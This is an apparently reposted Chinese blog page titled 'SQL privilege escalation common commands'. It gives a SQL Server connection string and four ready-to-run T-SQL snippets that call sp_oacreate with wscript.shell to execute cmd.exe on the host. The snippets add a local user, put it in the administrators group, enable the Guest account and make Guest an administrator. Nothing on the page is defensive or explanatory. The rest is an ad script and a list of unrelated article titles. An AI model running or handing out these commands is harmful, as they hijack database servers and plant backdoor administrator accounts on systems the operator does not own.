SQL提权常用命令
来源:互联网 发布:黑蜘蛛网络 编辑:程序博客网 时间:2024/04/30 08:57
1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup Administrators Guest /add'
<script type="text/javascript"><!--google_ad_client = "pub-4717125974896180";/* 728x90, 创建于 09-7-17 */google_ad_slot = "3536088218";google_ad_width = 728;google_ad_height = 90;// --></script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
- SQL提权常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- sql常用命令
- SQL常用命令
- sql 常用命令
- SQL常用命令
- SQL常用命令
- sql常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- SQL常用命令
- 虚拟地址和物理地址的概念
- C语言循环结构练习1
- Python契约式设计的范例
- web客户端与服务器实时通信的方法
- 开发方法及软件工程:重用设计一般方法
- SQL提权常用命令
- 保存附件到Domino Server端指定目录
- Vector & ArrayList 哪一个更好?为什么
- 初识ETL
- 使用 gdb 调试
- 记算器
- Python契约式设计的范例 (2) - Tolerant风格
- Vmalloc与kmalloc的区别
- I2C总线原理及应用实例